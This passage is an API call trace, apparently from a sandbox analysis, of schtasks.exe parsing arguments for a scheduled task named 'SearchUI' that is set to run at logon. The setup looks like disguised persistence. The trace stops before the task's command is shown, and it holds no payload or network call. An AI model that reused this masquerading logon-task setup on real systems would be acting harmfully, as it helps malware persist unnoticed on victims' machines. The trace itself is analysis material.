hInstance=0x0, uID=0x15ed, lpBuffer=0x1fba65fbb30, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0125.839] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0125.839] GetProcessHeap () returned 0x1fba65f0000 [0125.839] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x30) returned 0x1fba65f3910 [0125.839] _vsnwprintf (in: _Buffer=0x1fba65f3860, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xe52467f028 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0125.839] GetProcessHeap () returned 0x1fba65f0000 [0125.839] GetProcessHeap () returned 0x1fba65f0000 [0125.839] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65fa860) returned 1 [0125.839] GetProcessHeap () returned 0x1fba65f0000 [0125.839] RtlSizeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, MemoryPointer=0x1fba65fa860) returned 0x776 [0125.840] RtlFreeHeap (HeapHandle=0x1fba65f0000, Flags=0x0, BaseAddress=0x1fba65fa860) returned 1 [0125.840] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.840] GetThreadLocale () returned 0x409 [0125.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.840] lstrlenW (lpString="?") returned 1 [0125.840] GetThreadLocale () returned 0x409 [0125.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.840] lstrlenW (lpString="create") returned 6 [0125.840] GetThreadLocale () returned 0x409 [0125.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.840] lstrlenW (lpString="delete") returned 6 [0125.840] GetThreadLocale () returned 0x409 [0125.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.841] lstrlenW (lpString="query") returned 5 [0125.841] GetThreadLocale () returned 0x409 [0125.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.841] lstrlenW (lpString="change") returned 6 [0125.841] GetThreadLocale () returned 0x409 [0125.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.841] lstrlenW (lpString="run") returned 3 [0125.841] GetThreadLocale () returned 0x409 [0125.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.841] lstrlenW (lpString="end") returned 3 [0125.841] GetThreadLocale () returned 0x409 [0125.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.841] lstrlenW (lpString="showsid") returned 7 [0125.841] GetThreadLocale () returned 0x409 [0125.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.841] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.841] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.841] lstrlenW (lpString="/create") returned 7 [0125.841] lstrlenW (lpString="-/") returned 2 [0125.841] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.841] lstrlenW (lpString="?") returned 1 [0125.841] lstrlenW (lpString="?") returned 1 [0125.841] GetProcessHeap () returned 0x1fba65f0000 [0125.841] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4340 [0125.841] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.841] GetProcessHeap () returned 0x1fba65f0000 [0125.841] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xa) returned 0x1fba65f4360 [0125.841] lstrlenW (lpString="create") returned 6 [0125.841] GetProcessHeap () returned 0x1fba65f0000 [0125.842] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4380 [0125.842] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.842] GetProcessHeap () returned 0x1fba65f0000 [0125.842] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x14) returned 0x1fba65f43a0 [0125.842] _vsnwprintf (in: _Buffer=0x1fba65f4360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|?|") returned 3 [0125.842] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.842] lstrlenW (lpString="|?|") returned 3 [0125.842] lstrlenW (lpString="|create|") returned 8 [0125.842] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.842] lstrlenW (lpString="create") returned 6 [0125.842] lstrlenW (lpString="create") returned 6 [0125.842] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.842] GetProcessHeap () returned 0x1fba65f0000 [0125.842] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f4360) returned 1 [0125.842] GetProcessHeap () returned 0x1fba65f0000 [0125.842] RtlReAllocateHeap (Heap=0x1fba65f0000, Flags=0xc, Ptr=0x1fba65f4360, Size=0x14) returned 0x1fba65f46b0 [0125.842] lstrlenW (lpString="create") returned 6 [0125.842] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.842] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.842] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.842] lstrlenW (lpString="|create|") returned 8 [0125.844] lstrlenW (lpString="|create|") returned 8 [0125.844] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0125.844] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.844] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.844] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.844] lstrlenW (lpString="/tn") returned 3 [0125.844] lstrlenW (lpString="-/") returned 2 [0125.844] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.844] lstrlenW (lpString="?") returned 1 [0125.844] lstrlenW (lpString="?") returned 1 [0125.844] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.844] lstrlenW (lpString="tn") returned 2 [0125.844] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.844] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|?|") returned 3 [0125.844] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.844] lstrlenW (lpString="|?|") returned 3 [0125.844] lstrlenW (lpString="|tn|") returned 4 [0125.844] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.844] lstrlenW (lpString="create") returned 6 [0125.844] lstrlenW (lpString="create") returned 6 [0125.844] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.844] lstrlenW (lpString="tn") returned 2 [0125.844] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.844] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.844] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.845] lstrlenW (lpString="|create|") returned 8 [0125.845] lstrlenW (lpString="|tn|") returned 4 [0125.845] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0125.845] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.845] lstrlenW (lpString="delete") returned 6 [0125.845] lstrlenW (lpString="delete") returned 6 [0125.845] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.845] lstrlenW (lpString="tn") returned 2 [0125.845] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.845] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|delete|") returned 8 [0125.845] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.845] lstrlenW (lpString="|delete|") returned 8 [0125.845] lstrlenW (lpString="|tn|") returned 4 [0125.845] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0125.845] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.845] lstrlenW (lpString="query") returned 5 [0125.845] lstrlenW (lpString="query") returned 5 [0125.845] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.845] lstrlenW (lpString="tn") returned 2 [0125.845] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.845] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|query|") returned 7 [0125.845] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.845] lstrlenW (lpString="|query|") returned 7 [0125.845] lstrlenW (lpString="|tn|") returned 4 [0125.845] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0125.845] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.845] lstrlenW (lpString="change") returned 6 [0125.846] lstrlenW (lpString="change") returned 6 [0125.846] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.846] lstrlenW (lpString="tn") returned 2 [0125.846] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.846] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|change|") returned 8 [0125.846] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.846] lstrlenW (lpString="|change|") returned 8 [0125.846] lstrlenW (lpString="|tn|") returned 4 [0125.846] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0125.846] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.846] lstrlenW (lpString="run") returned 3 [0125.846] lstrlenW (lpString="run") returned 3 [0125.846] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.846] lstrlenW (lpString="tn") returned 2 [0125.846] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.846] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|run|") returned 5 [0125.846] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.846] lstrlenW (lpString="|run|") returned 5 [0125.846] lstrlenW (lpString="|tn|") returned 4 [0125.846] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0125.846] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.846] lstrlenW (lpString="end") returned 3 [0125.846] lstrlenW (lpString="end") returned 3 [0125.846] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.846] lstrlenW (lpString="tn") returned 2 [0125.846] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.847] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|end|") returned 5 [0125.847] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.847] lstrlenW (lpString="|end|") returned 5 [0125.847] lstrlenW (lpString="|tn|") returned 4 [0125.847] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0125.847] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.847] lstrlenW (lpString="showsid") returned 7 [0125.847] lstrlenW (lpString="showsid") returned 7 [0125.847] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.847] GetProcessHeap () returned 0x1fba65f0000 [0125.847] HeapValidate (hHeap=0x1fba65f0000, dwFlags=0x0, lpMem=0x1fba65f46b0) returned 1 [0125.847] GetProcessHeap () returned 0x1fba65f0000 [0125.847] RtlReAllocateHeap (Heap=0x1fba65f0000, Flags=0xc, Ptr=0x1fba65f46b0, Size=0x16) returned 0x1fba65f46b0 [0125.847] lstrlenW (lpString="tn") returned 2 [0125.847] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.847] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|showsid|") returned 9 [0125.847] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tn|") returned 4 [0125.847] lstrlenW (lpString="|showsid|") returned 9 [0125.847] lstrlenW (lpString="|tn|") returned 4 [0125.847] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0125.847] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.847] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.847] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.847] lstrlenW (lpString="/tn") returned 3 [0125.847] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0125.847] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.847] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] lstrlenW (lpString="/tn") returned 3 [0125.848] GetProcessHeap () returned 0x1fba65f0000 [0125.848] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x8) returned 0x1fba65f4360 [0125.848] GetProcessHeap () returned 0x1fba65f0000 [0125.848] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb910 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] lstrlenW (lpString="SearchUI") returned 8 [0125.848] lstrlenW (lpString="-/") returned 2 [0125.848] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] lstrlenW (lpString="SearchUI") returned 8 [0125.848] StrChrIW (lpStart="SearchUI", wMatch=0x3a) returned 0x0 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] lstrlenW (lpString="SearchUI") returned 8 [0125.848] GetProcessHeap () returned 0x1fba65f0000 [0125.848] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x12) returned 0x1fba65f46e0 [0125.848] GetProcessHeap () returned 0x1fba65f0000 [0125.848] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb6a0 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.848] lstrlenW (lpString="/sc") returned 3 [0125.848] lstrlenW (lpString="-/") returned 2 [0125.848] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.848] lstrlenW (lpString="?") returned 1 [0125.848] lstrlenW (lpString="?") returned 1 [0125.848] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.849] lstrlenW (lpString="sc") returned 2 [0125.849] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.849] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|?|") returned 3 [0125.849] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.849] lstrlenW (lpString="|?|") returned 3 [0125.849] lstrlenW (lpString="|sc|") returned 4 [0125.849] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.849] lstrlenW (lpString="create") returned 6 [0125.849] lstrlenW (lpString="create") returned 6 [0125.849] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.849] lstrlenW (lpString="sc") returned 2 [0125.849] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.849] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.849] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.849] lstrlenW (lpString="|create|") returned 8 [0125.849] lstrlenW (lpString="|sc|") returned 4 [0125.849] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0125.849] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.849] lstrlenW (lpString="delete") returned 6 [0125.849] lstrlenW (lpString="delete") returned 6 [0125.849] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.849] lstrlenW (lpString="sc") returned 2 [0125.849] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.849] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|delete|") returned 8 [0125.849] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.849] lstrlenW (lpString="|delete|") returned 8 [0125.850] lstrlenW (lpString="|sc|") returned 4 [0125.850] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0125.850] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.850] lstrlenW (lpString="query") returned 5 [0125.850] lstrlenW (lpString="query") returned 5 [0125.850] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.850] lstrlenW (lpString="sc") returned 2 [0125.850] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.850] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|query|") returned 7 [0125.850] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.850] lstrlenW (lpString="|query|") returned 7 [0125.850] lstrlenW (lpString="|sc|") returned 4 [0125.850] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0125.850] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.850] lstrlenW (lpString="change") returned 6 [0125.850] lstrlenW (lpString="change") returned 6 [0125.850] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.850] lstrlenW (lpString="sc") returned 2 [0125.850] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.850] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|change|") returned 8 [0125.850] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.850] lstrlenW (lpString="|change|") returned 8 [0125.850] lstrlenW (lpString="|sc|") returned 4 [0125.850] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0125.850] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.850] lstrlenW (lpString="run") returned 3 [0125.850] lstrlenW (lpString="run") returned 3 [0125.850] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.851] lstrlenW (lpString="sc") returned 2 [0125.851] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.851] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|run|") returned 5 [0125.851] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.851] lstrlenW (lpString="|run|") returned 5 [0125.851] lstrlenW (lpString="|sc|") returned 4 [0125.851] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0125.851] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.851] lstrlenW (lpString="end") returned 3 [0125.851] lstrlenW (lpString="end") returned 3 [0125.851] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.851] lstrlenW (lpString="sc") returned 2 [0125.851] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.851] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|end|") returned 5 [0125.851] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.851] lstrlenW (lpString="|end|") returned 5 [0125.851] lstrlenW (lpString="|sc|") returned 4 [0125.851] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0125.851] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.851] lstrlenW (lpString="showsid") returned 7 [0125.851] lstrlenW (lpString="showsid") returned 7 [0125.851] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.851] lstrlenW (lpString="sc") returned 2 [0125.851] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.851] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|showsid|") returned 9 [0125.852] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|sc|") returned 4 [0125.852] lstrlenW (lpString="|showsid|") returned 9 [0125.852] lstrlenW (lpString="|sc|") returned 4 [0125.852] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] lstrlenW (lpString="/sc") returned 3 [0125.852] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] lstrlenW (lpString="/sc") returned 3 [0125.852] GetProcessHeap () returned 0x1fba65f0000 [0125.852] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x8) returned 0x1fba65f4700 [0125.852] GetProcessHeap () returned 0x1fba65f0000 [0125.852] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb3a0 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] lstrlenW (lpString="ONLOGON") returned 7 [0125.852] lstrlenW (lpString="-/") returned 2 [0125.852] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] lstrlenW (lpString="ONLOGON") returned 7 [0125.852] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.852] lstrlenW (lpString="ONLOGON") returned 7 [0125.852] GetProcessHeap () returned 0x1fba65f0000 [0125.852] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x10) returned 0x1fba65f4720 [0125.852] GetProcessHeap () returned 0x1fba65f0000 [0125.853] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb490 [0125.853] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.853] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.853] lstrlenW (lpString="/tr") returned 3 [0125.853] lstrlenW (lpString="-/") returned 2 [0125.853] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.853] lstrlenW (lpString="?") returned 1 [0125.853] lstrlenW (lpString="?") returned 1 [0125.853] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.853] lstrlenW (lpString="tr") returned 2 [0125.853] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.853] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|?|") returned 3 [0125.853] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.853] lstrlenW (lpString="|?|") returned 3 [0125.853] lstrlenW (lpString="|tr|") returned 4 [0125.853] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.853] lstrlenW (lpString="create") returned 6 [0125.853] lstrlenW (lpString="create") returned 6 [0125.853] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.853] lstrlenW (lpString="tr") returned 2 [0125.853] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.853] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|create|") returned 8 [0125.853] _vsnwprintf (in: _Buffer=0x1fba65f43a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|tr|") returned 4 [0125.853] lstrlenW (lpString="|create|") returned 8 [0125.853] lstrlenW (lpString="|tr|") returned 4 [0125.853] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0125.853] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.853] lstrlenW (lpString="delete") returned 6 [0125.854] lstrlenW (lpString="delete") returned 6 [0125.854] _memicmp (_Buf1=0x1fba65f4340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.854] lstrlenW (lpString="tr") returned 2 [0125.854] _memicmp (_Buf1=0x1fba65f4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.854] _vsnwprintf (in: _Buffer=0x1fba65f46b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe52467f038 | out: _Buffer="|delete|") returned 8 [0125.854] _vsnwprintf (in: _Buffer=0x1fba65f43a0, 